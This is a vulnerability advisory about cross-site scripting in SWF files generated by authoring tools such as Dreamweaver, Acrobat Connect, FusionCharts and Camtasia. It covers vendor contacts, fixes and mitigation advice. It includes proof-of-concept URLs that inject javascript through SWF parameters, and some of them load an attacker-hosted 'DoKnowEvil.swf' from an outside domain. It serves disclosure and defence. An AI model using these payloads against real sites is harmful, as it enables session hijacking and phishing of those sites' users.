Summary
Critical vulnerabilities exist in a large number of widely used web authoring tools that automatically generate Shockwave Flash (SWF) files, such as Adobe (r) Dreamweaver (r), Abobe Contribute (r), Adobe Acrobat (r) Connect ™ (formerly Macromedia Breeze), InfoSoft FusionCharts, and Techsmith Camtasia. The flaws render websites that host these generated SWF files vulnerable to Cross-Site Scripting (XSS).

This problem is not limited to authoring tools. Autodemo, a popular service provider, used a vulnerable controller SWF in many of their projects.

Simple Google hacking queries reveal that hundreds of thousands of SWFs are vulnerable on the Internet, and a considerable percentage of major Internet sites are affected. We are only reporting XSS vulnerabilities that have been fixed by the vendors.

The Problem
Cross Site Scripting

Cross Site Scripting (XSS) is an attack on users of a web application. If a web application is vulnerable to XSS, and an attacker lures a user of the vulnerable web application to click on a link, then the attacker gains complete control of the user’s session in the web application. The attacker can use JavaScript to perform any action on behalf of the user (for example, perform a transaction on an online banking system) or change the way the website appears to the user (for example, perform a phishing attack).

Getting someone to click on a link is easy, just check out this example.

XSS Vulnerabilities in Common SWFs

Unfortunately, XSS vulnerabilities are common too. Many web authoring tools that automatically generate SWFs insert identical and vulnerable ActionScript into all saved SWFs or necessary controller SWFs (think of tools that “save as SWF”, “export to SWF”, etc.). The vulnerable ActionScript can used by attackers to execute arbitrary JavaScript in the security domain of the website hosting the SWF.

Websites hosting SWFs generated by these products are vulnerable to XSS. Examples include popular government, banking, social networking, and web mail sites.

We were unable to perform an exhaustive review of all authoring tools that generate SWFs. More XSS issues may exist in the products listed below and certainly exist in other applications that save to SWF.

We are only reporting XSS vulnerabilities that have been fixed by the vendors. There are more products vulnerable. We will publish more information when the vendor releases fixes.

Adobe Dreamweaver and Contribute

The “skinName” parameter is accepted by all Flash files produced by the “Insert Flash Video” feature. “skinName” can be used to force victims to load of arbitrary URLs including the “asfunction” protocol handler:

Code:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

This issue was fixed in the December Flash player release. Furthermore, an attacker can use “skinName” to force victims to load of arbitrary SWFs leading to Cross Site Flashing (XSF) and XSS:

Code:

http://www.example.com/FLVPlayer_Progressive.swf?skinName=http://rcannings.googlepages.com/DoKnowEvil

This issue was fixed in January. See Adobe’s report and “The Fix” below for mitigations and fixes.

Adobe was contacted on August 8, 2007.

Adobe Acrobat Connect (including Macromedia Breeze)

“main.swf” is the controller file in all Connect/Breeze online presentations. This SWF does not properly validate the “baseurl” parameter; thus causing script injection:

Code:

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//

This issue was fixed in the December Flash player release. An attacker can also use “baseurl” to force victims to load of arbitrary SWFs leading to Cross Site Flashing (XSF) and XSS:

Code:

http://www.example.com/main.swf?baseurl=http://rcannings.googlepages.com/DoKnowEvil.swf%3f

Adobe was contacted on July 31, 2007. See Abobe’s report and “The Fix” section below for mitigations and fixes.

InfoSoft FusionCharts

One of the issues found in FusionCharts was that the “dataURL” parameter allows insertion of arbitrary HTML into a “TextArea” instance. This allows attackers to load SWFs from other domains:

Code:

http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//rcannings.googlepages.com/DoKnowEvil.swf%3F.jpg%22%3E

InfoSoft was contacted on September 2, 2007. Fixes for all issues we found were released in late September. Webmasters should consult InfoSoft to properly upgrade their SWFs. See “The Fix” for details.

Techsmith Camtasia

One of the issues found in Camtasia was that the “csPreloader” parameter loads an arbitrary flash file:

Code:

http://www.example.com/Example_controller.swf?csPreloader=http://rcannings.googlepages.com/DoKnowEvil.swf%3f

Techsmith was contacted on August 12, 2007. Fixes for all issues was released late September. Webmasters should contact Techsmith to properly upgrade their SWFs. See “The Fix” for details.

Autodemo

Autodemo is a service provider, not an authoring tool. However, like authoring tools they use a common control file in many demos. The “onend” parameter in “control.swf” loads arbitrary URLs including the JavaScript protocol handler:

Code:
“>http://www.example.com/control.swf?onend=javascript:alert(1)//

Autodemo was contacted on August 17, 2007. Autodemo was extremely responsive to our report and quickly fixed the issue in August. Webmasters must update to the latest “control.swf”. See “The Fix” for details.

Autodemo is not the only service provider to have XSS in their products. They are just the only service provider we looked at. Readers should be concerned about other service providers who don’t even know their SWFs are vulnerable.

The Fix
All of the measures below should be taken:

Users

Update to the latest version of Flash Player plugin. This will protect users from attacks using the “asfunction” protocol handler

Website Owners

All vulnerabilities reported above have been fixed, so please:
Remove vulnerable SWFs from your website
Follow the manufacturers’ advice on republishing your SWFs

*
Adobe – See http://www.adobe.com/support/securit…apsb08-01.html and http://www.adobe.com/support/securit…apsb08-02.html
*
Autodemo – Contact your producer or email [email protected]
*
Techsmith – Camtasia Studio users can upgrade to Camtasia Studio version 5 to obtain a version which creates SWF files that do not have this vulnerability (visit http://www.techsmith.com). Users who are concerned about this vulnerability can regenerate their SWF content with Camtasia Studio version 5.
*
Infosoft – Contact support http://www.fusioncharts.com/Contact.asp

It is likely that other authoring tools that automatically generate SWFs can be used for XSS attacks. We highly recommend that website owners serve automatically generated SWFs from numbered IP addresses or from “safe” domains (i.e. domains that contain no sensitive cookies or domains that cannot be used for phishing)
Depending on the impact of XSS on a given website, website owners may want to even consider moving or removing all third-party generated SWFs

Flash Authoring Tools Developers and All Flash Developers

Flash based XSS is not limited to authoring tools. Unfortunately, common design patterns used in many Flash applications introduce XSS issues, so all Flash developers, including Flash authoring tools developers, should do the following:

Test your SWFs with Stafano Di Paola’s SWFIntruder. If you don’t, others will.
Perform proper input validation on all user definable variables used in URL loading functions and the “htmlText” fields. For example:
Where possible, whitelist protocol handlers to only allow “http:” and “https:” in all functions that require URLs
When using “getURL()”, whitelist user definable input (e.g, only allow alphanumeric characters). Do not rely on the “escape()” function.
Depending on the context, whitelist, URL encode, and/or HTML entity encode user input in “htmlText” fields
Within your Flash applications, load supporting SWF files, images, and sounds from relative URLs. Disallow absolute URLs. Be aware of open redirectors on your site. Consider rejecting relative URLs containing “..”, “.%2e”, etc. that attackers could use to traverse to open redirectors.
Detailed Flash hacking techniques and solutions are thoroughly discussed in “Hacking Exposed Web 2.0: Web 2.0 Security Secrets and Solutions”
Read Adobe’s “Creating more secure SWF web applications” document.

Credits
First and foremost, we thank Stafano Di Paola of Minded Security and Obscure of EyeonSecurity who thoroughly researched and pioneered every attack we used.

Security Team

Explore More

Yet another simple Google Docs hack

A simple hack that allow you to edit read only Google docs is explained here http://googlesystem.blogspot.com/2009/01/copy-google-documents-to-your-account.html It works and all you need is to hack the url a bit like

You’ve Hired a Hacker

There is a wonderful variety among humans. Ethnicity and culture provide one of the most important dimensions–but there can be profound differences between two people who look the same. If

Dont be scared! It’s just a scareware. About latest scareware’s

Scarewares are the latest online menace, which attempt to scare you and thus make you buy fake fix solutions to cure your perfectly working computer system. They would appear as